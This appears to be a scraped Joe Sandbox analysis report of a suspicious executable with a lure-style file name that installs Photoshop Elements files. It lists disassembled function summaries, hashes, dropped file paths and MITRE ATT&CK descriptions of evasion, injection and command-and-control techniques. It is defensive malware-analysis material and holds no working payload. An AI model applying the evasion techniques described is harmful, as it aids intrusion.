Associated: 0000000F.00000002.3743415483.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3743571059.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3743571059.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3743571059.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3743571059.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3743571059.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3753643256.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3753672483.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 304905eb1c0a9b954ccebee055ef65b935227e68a90c2fdb5ed078b31ced7af6
Instruction ID: c2ca491af7062743be1112a0e264582429a6ee451363a1bcb1fef03139b1d5c8
Opcode Fuzzy Hash: 304905eb1c0a9b954ccebee055ef65b935227e68a90c2fdb5ed078b31ced7af6
Instruction Fuzzy Hash: 12216B725103094FDB29DFA8D805BAE7798EF90308F10416AE8098F683DBB1E9D5C7D0

Non-executed Functions

Function 003C6900 Relevance: 13.7, APIs: 5, Strings: 4, Instructions: 169
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,?,?,00000000,?,003ED171,00000000,00000000,00000001), ref: 003C691A
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000), ref: 003C69C8
GetLastError.KERNEL32 ref: 003C69DF
GetLastError.KERNEL32 ref: 003C6A03

Strings

Error allocating memory while converting UTF8 string to Native string, xrefs: 003C6955, 003C6991
Failed to convert MultiByteToWideChar. ErrorCode::%d, xrefs: 003C69E6, 003C6A12, 003C6A5D
StringUtils, xrefs: 003C6964, 003C6996, 003C69EB, 003C6A21, 003C6A62
OOBEUtils, xrefs: 003C6969, 003C6A26

Memory Dump Source

Source File: 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000F.00000002.3743415483.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3743571059.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3743571059.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3743571059.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3743571059.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3743571059.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3753643256.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3753672483.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide
String ID: Error allocating memory while converting UTF8 string to Native string$Failed to convert MultiByteToWideChar. ErrorCode::%d$OOBEUtils$StringUtils
API String ID: 203985260-475419079
Opcode ID: 1c82e84897e8d9e122f62dea79e1ccc5412196b808687f1befb76f73eab8485b
Instruction ID: 2d79143ca6130032964ba4c815d76b2d140e2d323f7afc3d90fe2c09d71b4988
Opcode Fuzzy Hash: 1c82e84897e8d9e122f62dea79e1ccc5412196b808687f1befb76f73eab8485b
Instruction Fuzzy Hash: BC4144367812147BDB20BB58EC47F6B7BA5EF82B10F05826DF909A72D0DA615C0587D1

Function 00512F20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_ValidateLocalCookies.LIBCMT ref: 00512F57
___except_validate_context_record.LIBVCRUNTIME ref: 00512F5F
_ValidateLocalCookies.LIBCMT ref: 00512FE8
__IsNonwritableInCurrentImage.LIBCMT ref: 00513013
_ValidateLocalCookies.LIBCMT ref: 00513068

Strings

csm, xrefs: 00512FFD

Memory Dump Source

Source File: 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000F.00000002.3743415483.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3743571059.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3743571059.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3743571059.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3743571059.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3743571059.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3753643256.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3753672483.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: ce4f74d87b1de46c7c114ff144f94a31b7cfe7f9d078d7d0d07e3db0a009cf5c
Instruction ID: 7388ef95e1bdc7f6dc36be5e2a336ed363bb212f1b35ef4965df21ad74fd4c01
Opcode Fuzzy Hash: ce4f74d87b1de46c7c114ff144f94a31b7cfe7f9d078d7d0d07e3db0a009cf5c
Instruction Fuzzy Hash: 1541C234A00219AFDF10DF68C885ADEBFB5BF85314F148555F8159B392C732AAA6CB90

Function 003EEA70 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNEL32(?,?,00222CC0,003ECFBB,?,Terminate channel), ref: 003EEAE7
CloseHandle.KERNEL32(00000000,?,00222CC0,003ECFBB,?,Terminate channel), ref: 003EEB67

Strings

CommBridge, xrefs: 003EEA9A, 003EEAC7, 003EEB1A, 003EEB47
Closing inPipe %p, xrefs: 003EEB0B, 003EEB42
Closing outPipe %p, xrefs: 003EEA8B, 003EEAC2
OOBEUtils, xrefs: 003EEA9F, 003EEB1F

Memory Dump Source

Source File: 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000F.00000002.3743415483.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3743571059.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3743571059.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3743571059.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3743571059.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3743571059.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3753643256.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3753672483.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: CloseHandle
String ID: Closing inPipe %p$Closing outPipe %p$CommBridge$OOBEUtils
API String ID: 2962429428-1143323105
Opcode ID: fe225fb550eaef699e5f86750ba465ad805333bcb8bac640325651cd6a1283b5
Instruction ID: e3359ca4d35adda497539fbb3882b959626e693782c86280b47d76f7c2c1420b
Opcode Fuzzy Hash: fe225fb550eaef699e5f86750ba465ad805333bcb8bac640325651cd6a1283b5
Instruction Fuzzy Hash: 2821D170B807616FDB16AB299C16F1B7A56BF01B10F06431DF802B76E1C7A0AD01DBD2

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Process: Process Creation
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

Phishing

Bitcoin Miner

Compliance

Spreading

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\Config.xml

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\appIcon.png

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\appIcon2x.png

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\cs_cz\locale.json

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\de_de\locale.json

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\en_US\locale.json

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\es_es\locale.json

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\fr_fr\locale.json

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\it_it\locale.json

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\ja_jp\locale.json

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\ko_kr\locale.json

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\nl_nl\locale.json

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\pl_pl\locale.json

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\ru_ru\locale.json

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\sv_se\locale.json

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\zh_cn\locale.json

C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\zh_tw\locale.json

Windows Analysis Report
Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre